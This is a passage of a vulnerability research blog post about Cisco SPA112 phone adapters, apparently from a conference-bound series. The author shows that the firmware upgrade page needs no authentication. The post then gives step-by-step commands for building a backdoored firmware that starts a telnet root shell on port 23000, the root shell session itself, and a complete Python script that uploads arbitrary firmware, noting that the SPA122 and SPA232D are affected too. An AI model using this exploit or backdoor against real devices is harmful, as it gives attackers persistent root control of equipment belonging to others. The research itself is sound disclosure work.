      fprintf(pFVar5,"sys_upgrade done(%d)\n",local_34);
      fclose(pFVar5);
    }
  }
  uVar2 = local_34;
  if (iVar3 == 0) {
    iVar3 = fileno(param_2);
    iVar3 = fcntl(iVar3,4,local_2480);
    uVar2 = local_34;
    if (iVar3 < 0) {
      puVar8 = (uint *)__errno_location();
      uVar2 = *puVar8;
    }
  }
LAB_0001e4e0:
  local_34 = uVar2;
  unlink(acStack_9a);
  if (local_34 == 0) {
    cldp_cfg_file_generate(auStack_150);
    system_event_sendto(0x300012,0,&DAT_0004c6b4);
  }
  else {
    system_event_sendto(0x300013,0,&DAT_0004c6b4);
  }
  pFVar5 = fopen("/dev/console","w");
  if (pFVar5 != (FILE *)0x0) {
    fwrite(" call delay_boot\n",1,0x11,pFVar5);
    fclose(pFVar5);
  }
  run_single_service_async("delay_reboot",0);
  buf_to_file("/tmp/action","ACT_IDLE");
  if (local_34 != 0) {
    libupg_release_upglock();
  }
  DAT_00064ea4 = 1;
  return local_34;
}

Look, I forgot to take notes, but making sense of that required a good deal of coffee, several breaks to talk to my cat about the problem, and a long walk.

Theories.

Time to test them. I've a theory that if we simply don't authenticate at all to the device, it will accept a firmware upgrade. The advisory hinted at this, and I don't see any real auth checks in the firmware update functions.

I also figure, that we should look up that "Payton firmware" (no, I refuse to do the alt-case shit on it) string.

This required buying a device, so I got one on eBay for about 50 quid. Due to Brexit, shipping took an inordinately long time as it had to go from some blokes house, to some eBay repackaging facility (which effectively man in the middles your packages) so eBay can do customs paperwork, then it eventually made its way through our sorry excuse for a postal network and ended up at the wrong house (a random neighbours).

Cracking it open.

section removed - will be published separately for each device after bsidesbsk because... I need to retake all the board photos.

No auth is best auth.

We know that an authentication check is missing,

I captured a request to the firmware upgrade page while uploading the latest firmware in Burp, and deleted every bit of it that contained a session token to see if it even cared about authentication.

Here is the original request.

POST /upgrade.cgi;session_id=22814a5e7aa05a58c5a9f137d8a0d297 HTTP/1.1
Host: 192.168.0.152
Content-Length: 10093989
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.152
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWMLQQuvXRYX8MA2Q
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.152/Upgrade_run.asp;session_id=22814a5e7aa05a58c5a9f137d8a0d297
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

------WebKitFormBoundaryWMLQQuvXRYX8MA2Q
Content-Disposition: form-data; name="submit_button"

Upgrade
------WebKitFormBoundaryWMLQQuvXRYX8MA2Q
Content-Disposition: form-data; name="change_action"


------WebKitFormBoundaryWMLQQuvXRYX8MA2Q
Content-Disposition: form-data; name="submit_type"


------WebKitFormBoundaryWMLQQuvXRYX8MA2Q
Content-Disposition: form-data; name="upgradeflag"

1
------WebKitFormBoundaryWMLQQuvXRYX8MA2Q
Content-Disposition: form-data; name="session_key"

22814a5e7aa05a58c5a9f137d8a0d297
------WebKitFormBoundaryWMLQQuvXRYX8MA2Q
Content-Disposition: form-data; name="closeflg"

1
------WebKitFormBoundaryWMLQQuvXRYX8MA2Q
Content-Disposition: form-data; name="privilege_str"


------WebKitFormBoundaryWMLQQuvXRYX8MA2Q
Content-Disposition: form-data; name="file"; filename="Payton_1.4.1_SR5_101419_1250_pfmwr.bin"
Content-Type: application/macbinary

SNIPPED BINARY PAYLOAD

------WebKitFormBoundaryWMLQQuvXRYX8MA2Q
Content-Disposition: form-data; name="privilege_end"


------WebKitFormBoundaryWMLQQuvXRYX8MA2Q--

Here is my edited request.

POST /upgrade.cgi HTTP/1.1
Host: 192.168.0.152
Content-Length: 10093859
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.152
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWMLQQuvXRYX8MA2Q
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

------WebKitFormBoundaryWMLQQuvXRYX8MA2Q
Content-Disposition: form-data; name="submit_button"

Upgrade
------WebKitFormBoundaryWMLQQuvXRYX8MA2Q
Content-Disposition: form-data; name="change_action"


------WebKitFormBoundaryWMLQQuvXRYX8MA2Q
Content-Disposition: form-data; name="submit_type"


------WebKitFormBoundaryWMLQQuvXRYX8MA2Q
Content-Disposition: form-data; name="upgradeflag"

1
------WebKitFormBoundaryWMLQQuvXRYX8MA2Q
Content-Disposition: form-data; name="closeflg"

1
------WebKitFormBoundaryWMLQQuvXRYX8MA2Q
Content-Disposition: form-data; name="privilege_str"


------WebKitFormBoundaryWMLQQuvXRYX8MA2Q
Content-Disposition: form-data; name="file"; filename="Payton_1.4.1_SR5_101419_1250_pfmwr.bin"
Content-Type: application/macbinary

SNIPPED BINARY PAYLOAD

------WebKitFormBoundaryWMLQQuvXRYX8MA2Q
Content-Disposition: form-data; name="privilege_end"


------WebKitFormBoundaryWMLQQuvXRYX8MA2Q--

The firmware upgrade went through just fine, flashing the device to an exciting new version. Great.

Too easy. Much too easy.

Standing on the shoulders of bignerd95.

In which we construct a malicious firmware file.

We get to use paytonImageEditor for this. bignerd95 is a supremely talented and intelligent hacker I once had the pleasure of talking to at CCC some years ago. I was not surprised when I went looking for information on payton firmware files that bignerd95 has already reversed it somewhat.

There were some minor difference in the SPA112 firmwares and the firmwares bignerd95 worked on, but in the end, this only required a one line modification to PaytonEditor.py.

To backdoor the firmware, I decided to do the exact same thing as bignerd95 used to enable telnet. Mostly out of laziness and wanting to get a quick and dirty proof of concept ready. There was already binaries compiled, and I figured I'll save the 'dealing with compilers' for a later blog post as this one is long enough already.

I just put the busybox-armv4tl binary with telnetd in /bin of the squashfs-root we extracted earlier for reversing, modified /etc/rc.init.1 to run a script called /etc/my.sh, and had that script sleep for a minute and then launch /etc/busybox-armv4tl telnetd -l /bin/sh 23000.

$ sudo paytonImageEditor/CustomFW/FW_TOOLS/mksquashfs squashfs-root fs.squashfs -noappend -le -noI
Parallel mksquashfs: Using 2 processors
Creating little endian 3.1 filesystem on fs.squashfs, block size 131072.
lzmadic 131072
[===========================================================================================================================================|] 952/952 100%
Exportable Little endian filesystem, data block size 131072, compressed data, uncompressed metadata, compressed fragments, duplicates are removed
lzmadic 131072
Filesystem size 8795.76 Kbytes (8.59 Mbytes)
	31.20% of uncompressed filesystem size (28195.89 Kbytes)
Inode table size 32730 bytes (31.96 Kbytes)
	100.00% of uncompressed inode table size (32730 bytes)
Directory table size 19521 bytes (19.06 Kbytes)
	100.00% of uncompressed directory table size (19521 bytes)
Number of duplicate files found 35
Number of inodes 1030
Number of files 795
Number of fragments 51
Number of symbolic links  149
Number of device nodes 2
Number of fifo nodes 0
Number of socket nodes 0
Number of directories 84
Number of uids 2
	unknown (1032)
	root (0)
Number of gids 0

Next, image gets built. Again, exactly the same as bignerd95 did it.

$ sudo paytonImageEditor/CustomFW/FW_TOOLS/mkimage -A arm -O linux -C none -T filesystem -n "cybertan_rom_bin" -c "SP2X" -d fs.sqfs -s fs.img
Image Name:   cybertan_rom_bin
Created:      Sun Feb  7 07:28:15 2106
Image Type:   ARM Linux Filesystem Image (uncompressed)
Data Size:    9007104 Bytes = 8796.00 kB = 8.59 MB
Load Address: 0x00000000
Entry Point:  0x00000000

Now we join the FS and kernel together, using cat.

cat paytonImageEditor/CustomFW/FW_TOOLS/kernel.img fs.img > kernel_fs.img

We had to modify paytonImageEditor to work with this firmware. Simply comment out line 211 in PaytonEditor.py - the line that says p.modules.remove(p.modules[1]) # remove second module, as there is no second module in this firmware.

Finally, we use our modified PaytonEditor.py script to build the image...

python3 paytonImageEditor/PaytonEditor.py create_fs_update Payton_1.4.1_SR5_101419_1250_pfmwr.bin kernel_fs.img custom3.bin
Magic:               PAYTON  FiRmWaRe
Signature:           0000000000000000000000000000000000000000000000000000000000000000
Digest:              e27c4a6171b96933836f401917d28550   Correct: True
Randseq:             565067b382ebd641620bac69fcf663f0   Correct: True
Header size:         136 bytes
Modules header size: 128 bytes
Firmware length:     10092936 bytes
Version:             1.4.1
Modules number:      1
Flash type:          0x137a80
Slic type:           0x1eaea3a

Always zeros:    00000000
Module Magic:    b'\xc6\xf4\xb6\xaf'
Module Type:     1
Module Instance: 0
Reserved 1:      b'\x00\x00'
Header size:     128 bytes
Module digest:   d9e77512d103943580d9cb9647a2c6ac     Correct: True
Module size:     10092544 bytes
Module checksum: 0x0
Module version:  1.0
Reserved 2:      52 bytes
Header checksum: 0xdc2     Correct: True




NEW firmware:

Magic:               PAYTON  FiRmWaRe
Signature:           0000000000000000000000000000000000000000000000000000000000000000
Digest:              ab93dab018fedd759c04d67fa40d01c6   Correct: True
Randseq:             9d899bb3e2231f5870dc68a0cec1223b   Correct: True
Header size:         136 bytes
Modules header size: 128 bytes
Firmware length:     10613128 bytes
Version:             1.4.1
Modules number:      1
Flash type:          0x137a80
Slic type:           0x1eaea3a

Always zeros:    00000000
Module Magic:    b'\xc6\xf4\xb6\xaf'
Module Type:     1
Module Instance: 0
Reserved 1:      b'\x00\x00'
Header size:     128 bytes
Module digest:   b0e06afad5373c53b4410e851f147bcc     Correct: True
Module size:     10612736 bytes
Module checksum: 0x0
Module version:  1.0
Reserved 2:      52 bytes
Header checksum: 0xd51     Correct: True

Proof of Concept.

In which we get a root shell by simply... Uploading our backdoored firmware.

$ python3 fwupload.py http://192.168.0.152 CFW.bin 
Base URL: http://192.168.0.152
Upgrade URL: http://192.168.0.152/upgrade.cgi
Firmware File: CFW.bin
Sending firmware update...
Firmware upgrade successful. Device will reboot eventually and be running the new FW.

$ nc -v 192.168.0.152 23000
Connection to 192.168.0.152 port 23000 [tcp/inovaport1] succeeded!
????????


BusyBox v1.10.2 (2019-10-14 12:41:41 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# id;uname -a;pwd
id;uname -a;pwd
uid=0(admin) gid=0(admin)
Linux SPA112 2.6.26.5 #1 PREEMPT Sun Sep 6 10:54:57 CST 2015 armv5tejl unknown
/
# ls /etc
ls /etc
ca                language.dat      passwd            shadow
ca_crt.pem        ld.so.cache       protocols         start_voice
cron.d            ld.so.conf        qos.sh            stop_voice
eeprom.dat        load_dspg         rc.init.1         suota_mgmt.cfg
en_language.711u  mdev.conf         rc.init.2         version
group             my.sh             resolv.conf       vlan
hosts             openssl.cnf       services          voice_profile
# cat /etc/version
cat /etc/version
router_major_version:1.4.1
router_minor_version:SR5
build_date:Mon Oct 14 12:48:12 CST 2019
build_version:6735
hardware_version:1.1.0
serial_number:CCQ23290B82
# 

Writing a Python script to exploit the issue took mere minutes. Python's requests library makes it easy. There is nothing really interesting about sending a HTTP POST request.

#!/usr/bin/env python3
import requests
import sys

def upload_firmware(base_url, firmware):
    data = {'submit_button': 'Upgrade',
            'change_action': '',
            'submit_type': '',
            'upgradeflag': 1,
            'closeflg': 1,
            'privilege_str': '',
            'privilege_end': ''
    }
    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36',
               'Connection': 'close'}
    files = {'file': ('fw.bin', open(firmware, 'rb'), 'application/binary')}
    upgrade_url = f'{base_url}/upgrade.cgi'
    try:
        print(f'Base URL: {base_url}')
        print(f'Upgrade URL: {upgrade_url}')
        print(f'Firmware File: {firmware}')
        print('Sending firmware update...')
        r = requests.post(upgrade_url, data=data, files=files, verify=False)
        if "is successful" in r.text:
            print('Firmware upgrade successful. Device will reboot eventually and be running the new FW.')
        else:
            print('Did not get the expected glorious success. Dumping response.')
            print(r.text)
    except Exception as e:
        print('Did not get the expected glorious success as we hit an exception. Dumping the exception')
        print('Note: if your firmware binary was bad, this happens. The device will reboot anyway.')
        print(str(e))

def main():
    if len(sys.argv) != 3:
        sys.exit(f'use: {sys.argv[0]} http://spa112.lol firmware.bin')
    upload_firmware(sys.argv[1], sys.argv[2])

if __name__ == "__main__":
    main()

Easy as. You get a root shell.

Concluding for now...

This is merely episode one of a long bunch of posts, some of which I published prior to this one... Some of which will come after.

Going further and actually making a usable backdoored firmware with useful features is (for now) left as an exercise to the reader, as that will take me a shitload of time to document as I'm trying to automate some of it, and some things are just a pain in the ass to cross compile. I've documented in other blog posts the cross compiling of psc, tcpdump and crash.

Worth noting: The SPA122 and SPA232D are also impacted. The 112 and 122 use the same firmware - the 232D uses a different but similar firmware. All of them are exploitable.

I wonder what other devices use the same bugged firmware uploader? Mining Cisco's firmware images for it would be a fruitful endeavour. I've already identified some candidates :)